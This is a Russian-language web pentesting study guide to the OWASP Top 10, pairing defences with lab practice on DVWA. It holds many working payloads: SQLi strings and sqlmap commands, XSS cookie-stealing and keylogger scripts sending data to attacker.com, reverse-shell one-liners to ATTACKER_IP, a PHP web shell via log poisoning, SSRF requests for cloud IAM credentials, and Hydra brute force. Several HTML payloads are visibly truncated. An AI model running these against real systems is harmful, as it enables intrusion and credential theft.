База по WEB: OWASP Top 10, SQL Injection, XSS
🕸 Что это
Веб-приложения — самая частая точка входа при пентесте. Почти у каждой компании есть сайт, портал, API. И почти в каждом есть уязвимости. OWASP Top 10 — официальный рейтинг самых опасных веб-уязвимостей, обновляется раз в несколько лет.
Аналогия: если сетевые основы — это знание улиц и зданий города, то веб-безопасность — это умение находить незапертые двери, открытые окна и слабые замки внутри конкретного здания.
📌 OWASP Top 10 (2021) — краткий обзор
Рейтинг
- A01 — Broken Access Control — обход контроля доступа
- A02 — Cryptographic Failures — слабая криптография
- A03 — Injection — SQL injection, Command injection и другие инъекции
- A04 — Insecure Design — небезопасная архитектура
- A05 — Security Misconfiguration — неправильная конфигурация
- A06 — Vulnerable Components — устаревшие компоненты с CVE
- A07 — Authentication Failures — слабая аутентификация
- A08 — Software and Data Integrity Failures — проблемы целостности
- A09 — Security Logging Failures — отсутствие логирования
- A10 — Server-Side Request Forgery (SSRF) — подделка запросов с сервера
Для пентестера самые частые находки: Injection (A03), Broken Access Control (A01), Security Misconfiguration (A05) и Authentication Failures (A07).
⚡ SQL Injection — король веб-уязвимостей
Что это
SQL Injection (SQLi) — атакующий вставляет SQL-код в пользовательский ввод, и сервер выполняет этот код как часть запроса к базе данных.
Аналогия: ты заполняешь анкету в банке. В поле "Имя" пишешь не своё имя, а команду для банковского сотрудника: "Вася; а теперь покажи все счета". Сотрудник (сервер) не проверяет что написано и выполняет.
Как это работает
Уязвимый код на сервере:
SELECT * FROM users WHERE username = '$input' AND password = '$password'
Нормальный ввод: admin / password123
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
Ввод атакующего: admin' OR '1'='1 / anything
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
'1'='1' всегда истина → запрос возвращает все записи → вход без пароля.
Типы SQL Injection
In-Band SQLi (классический) — результат виден прямо на странице.
Union-based — используем UNION для добавления данных из других таблиц:
' UNION SELECT username, password FROM users--
Error-based — провоцируем ошибку SQL, которая выдаёт информацию:
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--
Blind SQLi — результат не виден напрямую, но можно определить по поведению.
Boolean-based — задаём вопросы "да/нет":
' AND 1=1-- (страница нормальная = TRUE)
' AND 1=2-- (страница другая = FALSE)
' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=8--
Побуквенно извлекаем данные: длина пароля 8? Да. Первый символ 'a'? Нет. 'b'? Нет. 'p'? Да.
Time-based — определяем по задержке:
' AND IF(1=1, SLEEP(5), 0)-- (задержка 5 сек = TRUE)
' AND IF(1=2, SLEEP(5), 0)-- (без задержки = FALSE)
Out-of-Band SQLi — данные отправляются на внешний сервер атакующего через DNS или HTTP.
SQLi — практика
Обнаружение:
# В поле ввода пробуем:
'
''
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
" OR "1"="1
1' ORDER BY 1--
1' UNION SELECT NULL--
Если поведение страницы меняется (ошибка, другой контент, задержка) — вероятно есть SQLi.
Определение количества столбцов:
' ORDER BY 1-- (ок)
' ORDER BY 2-- (ок)
' ORDER BY 3-- (ок)
' ORDER BY 4-- (ошибка → значит 3 столбца)
Извлечение данных:
-- Узнать версию БД
' UNION SELECT NULL, version(), NULL--
-- Список таблиц
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables--
-- Столбцы конкретной таблицы
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'--
-- Данные
' UNION SELECT NULL, username, password FROM users--
Комментарии в разных СУБД:
- MySQL:
--(с пробелом после),#,/* */ - PostgreSQL:
-- - MSSQL:
-- - Oracle:
--
SQLMap — автоматизация
# Базовый скан
sqlmap -u "http://target.com/page?id=1"
# С cookie (для авторизованных страниц)
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"
# POST-запрос
sqlmap -u "http://target.com/login" --data="username=admin&password=test"
# Получить список баз данных
sqlmap -u "http://target.com/page?id=1" --dbs
# Таблицы в базе
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
# Дамп таблицы
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
# Получить shell
sqlmap -u "http://target.com/page?id=1" --os-shell
Защита от SQLi
- Prepared Statements (параметризованные запросы) — главная защита. Данные отделяются от кода SQL
- Stored Procedures — заранее скомпилированные запросы
- Whitelist валидация — проверка ввода по списку допустимых значений
- Экранирование — замена спецсимволов (слабая защита, лучше не полагаться)
- WAF — Web Application Firewall может блокировать известные паттерны SQLi
🔍 XSS — Cross-Site Scripting
Что это
XSS — атакующий внедряет JavaScript-код в веб-страницу, которую видят другие пользователи. Браузер жертвы выполняет этот код как легитимный.
Аналогия: кто-то приклеил фальшивое объявление на стену банка: "Введите PIN-код на этой форме для проверки". Посетители верят, потому что оно на стене банка.
Типы XSS
Reflected XSS (отражённый) — вредоносный скрипт в URL, сервер "отражает" его в ответе.
http://target.com/search?q=<script>alert('XSS')</script>
Если сервер вставляет параметр q в HTML без фильтрации:
<p>Результаты для: <script>alert('XSS')</script></p>
Браузер выполняет скрипт. Атакующий отправляет жертве ссылку с вредоносным параметром.
Stored XSS (хранимый) — самый опасный. Скрипт сохраняется в базе данных и выполняется у каждого, кто открывает страницу.
Пример: форум, где в комментарии можно вставить:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Каждый, кто откроет тему с этим комментарием — отправит свои cookie атакующему.
DOM-based XSS — скрипт выполняется на стороне клиента через JavaScript, без участия сервера.
// Уязвимый код на странице
document.getElementById('output').innerHTML = location.hash.substring(1);
// Атака
http://target.com/page#<img src=x
XSS — практика
Базовые пробы:
<script>alert('XSS')</script>
<script>alert(1)</script>
<img src=x
<svg
<body
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
<iframe src="alert('XSS')">
Обход фильтров:
<!-- Если фильтруют <script> -->
<ScRiPt>alert('XSS')</ScRiPt>
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<img src=x
<!-- Если фильтруют alert -->
<script>confirm('XSS')</script>
<script>prompt('XSS')</script>
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
<!-- Кодирование -->
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x
Кража cookie через XSS:
<script>
new Image().src='http://attacker.com/steal?c='+document.cookie;
</script>
<script>
fetch('http://attacker.com/steal?c='+document.cookie);
</script>
Keylogger через XSS:
<script>
document.
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
Защита от XSS
- Output Encoding — кодирование спецсимволов (
<→<,>→>) перед вставкой в HTML - Content Security Policy (CSP) — заголовок, запрещающий выполнение inline-скриптов
- HttpOnly cookie — JavaScript не может прочитать cookie с этим флагом
- Sanitization — очистка ввода от HTML-тегов
- X-XSS-Protection — заголовок браузера (устаревший, но всё ещё встречается)
⚡ CSRF — Cross-Site Request Forgery
Что это
CSRF — атакующий заставляет браузер жертвы отправить запрос на сайт, где жертва авторизована. Браузер автоматически подставляет cookie.
Аналогия: кто-то подделал твою подпись на чеке. Банк видит твою подпись (cookie) и выполняет операцию, хотя ты ничего не подписывал.
Как это работает
1. Жертва залогинена в bank.com (браузер хранит session cookie)
2. Жертва открывает страницу атакующего evil.com
3. На evil.com скрытая форма:
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. Браузер отправляет запрос на bank.com с cookie жертвы
5. bank.com видит валидную сессию и выполняет перевод
CSRF — практика
Базовый CSRF через изображение (GET-запрос):
<img src="http://target.com/change-email?email=attacker@evil.com" width="0" height="0">
Через скрытую форму (POST-запрос):
<body
<form id="csrf-form" action="http://target.com/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
</form>
</body>
Через AJAX (если CORS позволяет):
<script>
fetch('http://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({email: 'attacker@evil.com'}),
headers: {'Content-Type': 'application/json'}
});
</script>
Защита от CSRF
- CSRF-токен — уникальный токен в каждой форме, который сервер проверяет. Атакующий не знает токен и не может подделать запрос
- SameSite cookie — флаг
SameSite=Strictзапрещает отправку cookie при запросах с других сайтов - Проверка Referer/Origin — сервер проверяет откуда пришёл запрос
- Требование повторной аутентификации — для критических действий (смена пароля, перевод денег) требуется ввод пароля
🔍 Command Injection — инъекция команд ОС
Что это
Атакующий вставляет команды операционной системы через пользовательский ввод. Сервер выполняет их.
Аналогия: как SQL Injection, но вместо SQL-запросов — команды Linux/Windows.
Как это работает
Уязвимый код:
$output = shell_exec("ping -c 4 " . $_GET['ip']);
echo $output;
Нормальный ввод: ***.***.*.*
ping -c 4 ***.***.*.*
Ввод атакующего: ***.***.*.*; cat /etc/passwd
ping -c 4 ***.***.*.*; cat /etc/passwd
Точка с запятой разделяет команды — выполняются обе.
Разделители команд
; # Выполнить следующую команду
| # Pipe: передать вывод первой команде второй
|| # Выполнить вторую если первая неуспешна
& # Выполнить в фоне
&& # Выполнить вторую если первая успешна
$(cmd) # Подстановка команды
`cmd` # Подстановка команды (обратные кавычки)
Command Injection — практика
# Базовые пробы
; whoami
| whoami
|| whoami
& whoami
&& whoami
$(whoami)
`whoami`
# Реверс-шелл через инъекцию
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
| nc ATTACKER_IP 4444 -e /bin/bash
; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
Защита от Command Injection
- Не использовать системные команды — заменить функциями языка (вместо
ping— библиотека для сетевых проверок) - Whitelist валидация — разрешить только IP-адреса, числа, определённые символы
- Экранирование —
escapeshellarg()в PHP,shlex.quote()в Python
⚡ File Inclusion — включение файлов
LFI (Local File Inclusion)
Чтение локальных файлов на сервере через уязвимый параметр.
Уязвимый код:
include($_GET['page'] . ".php");
Нормальный запрос: http://target.com/index.php?page=about
Атака: http://target.com/index.php?page=../../../etc/passwd
Traversal (обход директории):
../../../etc/passwd
....//....//....//etc/passwd (обход фильтра ../)
..%2f..%2f..%2fetc%2fpasswd (URL-кодирование)
/etc/passwd%00 (null byte — обрезает .php в старых PHP)
Интересные файлы для чтения:
# Linux
/etc/passwd # Список пользователей
/etc/shadow # Хеши паролей (если повезёт)
/etc/hosts # Локальные DNS-записи
/proc/self/environ # Переменные окружения (пароли!)
/var/log/apache2/access.log # Логи Apache (для log poisoning)
/home/user/.ssh/id_rsa # Приватный SSH-ключ
# Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config # Конфиг IIS с паролями
LFI → RCE (выполнение кода):
Log Poisoning — внедрение PHP-кода в лог, потом чтение лога через LFI:
# 1. Отправляем запрос с PHP-кодом в User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# 2. PHP-код попал в /var/log/apache2/access.log
# 3. Читаем лог через LFI с командой
http://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=whoami
RFI (Remote File Inclusion)
Подгрузка файла с внешнего сервера. Работает если в PHP включён allow_url_include.
http://target.com/index.php?page=http://attacker.com/shell.php
На attacker.com/shell.php:
<?php system($_GET['cmd']); ?>
RFI встречается реже, чем LFI — большинство серверов отключают allow_url_include.
🔧 SSRF — Server-Side Request Forgery
Что это
SSRF — заставляем сервер делать HTTP-запросы от своего имени. Сервер имеет доступ к внутренним ресурсам, которые не видны снаружи.
Аналогия: просишь сотрудника компании (сервер) позвонить по внутреннему номеру (внутренний ресурс), который снаружи не доступен.
Как это работает
Уязвимый функционал — "Проверить URL", "Загрузить изображение по ссылке", "Превью ссылки":
# Нормальный запрос
http://target.com/fetch?url=http://example.com/image.jpg
# SSRF — доступ к внутренним ресурсам
http://target.com/fetch?url=http://127.0.0.1:8080/admin
http://target.com/fetch?url=http://10.0.0.1/internal
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/ (AWS metadata!)
SSRF — ключевые цели
Cloud Metadata API — самая опасная цель SSRF:
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Google Cloud
http://metadata.google.internal/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance
Через metadata API можно получить IAM-ключи, токены доступа, конфигурацию — полный доступ к облачной инфраструктуре.
Внутренние сервисы:
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:27017/ # MongoDB
http://127.0.0.1:9000/ # Portainer
http://10.0.0.1/admin # Внутренняя админка
Обход фильтров SSRF
# Вместо 127.0.0.1
http://localhost/
http://0.0.0.0/
http://0x7f000001/ (hex)
http://2130706433/ (decimal)
http://127.1/
http://[::1]/ (IPv6)
# Обход фильтра домена
http://attacker.com@127.0.0.1/
http://127.0.0.1.attacker.com/
🛡 Broken Access Control — обход контроля доступа
Что это
Пользователь получает доступ к ресурсам или функциям, которые ему не разрешены. Самая распространённая уязвимость по OWASP.
Типы
IDOR (Insecure Direct Object Reference) — прямой доступ к объектам по ID:
# Твой профиль
http://target.com/api/users/123
# Чужой профиль — просто меняешь ID
http://target.com/api/users/124
http://target.com/api/users/125
Horizontal Privilege Escalation — доступ к данным другого пользователя того же уровня (user → другой user).
Vertical Privilege Escalation — доступ к функциям более высокого уровня (user → admin):
# Обычная страница
http://target.com/dashboard
# Админка — просто знаешь URL
http://target.com/admin
http://target.com/admin/users
http://target.com/api/admin/delete-user
Forced Browsing — перебор URL для нахождения скрытых страниц:
# dirb
dirb http://target.com /usr/share/wordlists/dirb/common.txt
# gobuster
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt
# ffuf
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
Parameter Tampering — изменение параметров запроса:
# Оригинальный запрос
POST /change-role
role=user&userId=123
# Атака
POST /change-role
role=admin&userId=123
⚡ Authentication Failures — слабая аутентификация
Распространённые проблемы
Дефолтные пароли:
admin:admin
admin:password
root:root
test:test
admin:123456
Ты видел это на Shodan — Portainer без пароля, VNC с паролем "password", NAS с дефолтными кредами.
Брутфорс без защиты:
# Hydra — брутфорс веб-формы
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
# Burp Suite Intruder — более гибкий инструмент
Слабая политика паролей:
- Нет минимальной длины
- Нет требования к сложности
- Нет блокировки после N неудачных попыток
- Нет rate limiting
Уязвимости сессий:
- Предсказуемые session ID
- Сессия не инвалидируется после логаута
- Session fixation — атакующий навязывает свой session ID жертве
🔧 Security Misconfiguration — неправильная конфигурация
Что это
Самая простая для эксплуатации и самая частая уязвимость. Всё что ты видел на Shodan — это примеры мисконфигурации.
Типичные примеры
Дефолтные настройки:
- Portainer без пароля (как на Google Cloud)
- Node Exporter без аутентификации (Dell PowerEdge)
- MongoDB/Redis/Elasticsearch без пароля
Лишняя информация:
- Страницы ошибок с трейсбеком (версии, пути, SQL-запросы)
- Заголовок
Server: Apache/2.4.41— версия сервера .gitдиректория доступна — можно скачать исходный код
Открытые директории и файлы:
# Поиск интересных файлов
http://target.com/.git/config # Git-репозиторий
http://target.com/.env # Переменные окружения (пароли!)
http://target.com/backup.sql # Дамп базы данных
http://target.com/phpinfo.php # Полная информация о PHP
http://target.com/wp-config.php.bak # Конфиг WordPress с паролями
http://target.com/robots.txt # Что скрывают от поисковиков
http://target.com/sitemap.xml # Карта сайта
http://target.com/.DS_Store # macOS файл с листингом директории
Инструменты для обнаружения:
# Nikto — сканер мисконфигураций
nikto -h http://target.com
# Поиск скрытых файлов
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,bak,sql,env,git
# Поиск .git
git-dumper http://target.com/.git/ ./output
🔍 Vulnerable Components — устаревший софт
Что это
Использование библиотек, фреймворков и сервисов с известными CVE. Как тот банк с IIS 7.5 — версия 2009 года с CVE на 10/10.
Как находить
# Определить версии
nmap -sV TARGET_IP
curl -I http://target.com # Заголовки сервера
# Поиск CVE
searchsploit apache 2.4.41
searchsploit wordpress 5.8
# Автоматическое сканирование
nmap --script vuln TARGET_IP
nikto -h http://target.com
# Проверка WordPress
wpscan --url http://target.com --enumerate vp,vt,u
🎯 DVWA и Mutillidae — тренажёры
DVWA (Damn Vulnerable Web Application)
Уже есть на твоём Metasploitable2. Открой в браузере:
http://***.***.*.*/dvwa/
Login: admin / password
DVWA имеет уровни сложности: Low, Medium, High, Impossible. Начни с Low — фильтры отключены. Потом повышай.
Доступные задания: SQL Injection, Reflected XSS, Stored XSS, Command Injection, File Inclusion, File Upload, CSRF, Brute Force.
Mutillidae
Тоже на Metasploitable2:
http://***.***.*.*/mutillidae/
Более продвинутый тренажёр с OWASP Top 10 уязвимостями.
🧠 Готовые комбо
Тестирование веб-приложения:
Nikto → общий скан → gobuster → скрытые файлы → ручная проверка форм → SQLi/XSS → SQLMap (если нашёл SQLi) → проверка IDOR → проверка CSRF
SQL Injection от обнаружения до дампа:
' в поле → ошибка? → ORDER BY N → количество столбцов → UNION SELECT → version() → таблицы → столбцы → данные → sqlmap --dump
XSS от обнаружения до кражи сессии:
<script>alert(1)</script> → работает? → <script>fetch('http://attacker/steal?c='+document.cookie)</script> → получаем cookie → подставляем в браузер → мы залогинены как жертва
LFI от обнаружения до RCE:
../../../etc/passwd → работает? → ../../../var/log/apache2/access.log → доступен? → отправляем PHP в User-Agent → читаем лог с параметром cmd → RCE
⚠️ Важные моменты
- SQLi — это не только формы. Cookie, HTTP-заголовки (User-Agent, Referer), URL-параметры — всё может быть вектором инъекции
- XSS опасен не alert(1). Кража сессий, keylogger, перенаправление, майнинг криптовалюты — реальные последствия XSS
- CSRF работает потому что браузер автоматически отправляет cookie. Поэтому SameSite=Strict — критически важный флаг
- SSRF на облачных серверах = катастрофа. Доступ к metadata API через SSRF часто приводит к полной компрометации AWS/GCP/Azure инфраструктуры
- Начинай с DVWA на Low. Не перескакивай уровни — каждый учит обходу конкретного типа фильтра
- Burp Suite — главный инструмент веб-пентестера. Бесплатная Community Edition достаточна для учёбы. Перехватываешь запросы, модифицируешь, повторяешь
- Всегда проверяй robots.txt и .git. Это первое что делает любой пентестер — часто находятся скрытые пути и исходный код
- Мисконфигурация — самая частая находка. Не нужны сложные эксплойты, когда .env файл с паролями лежит в открытом доступе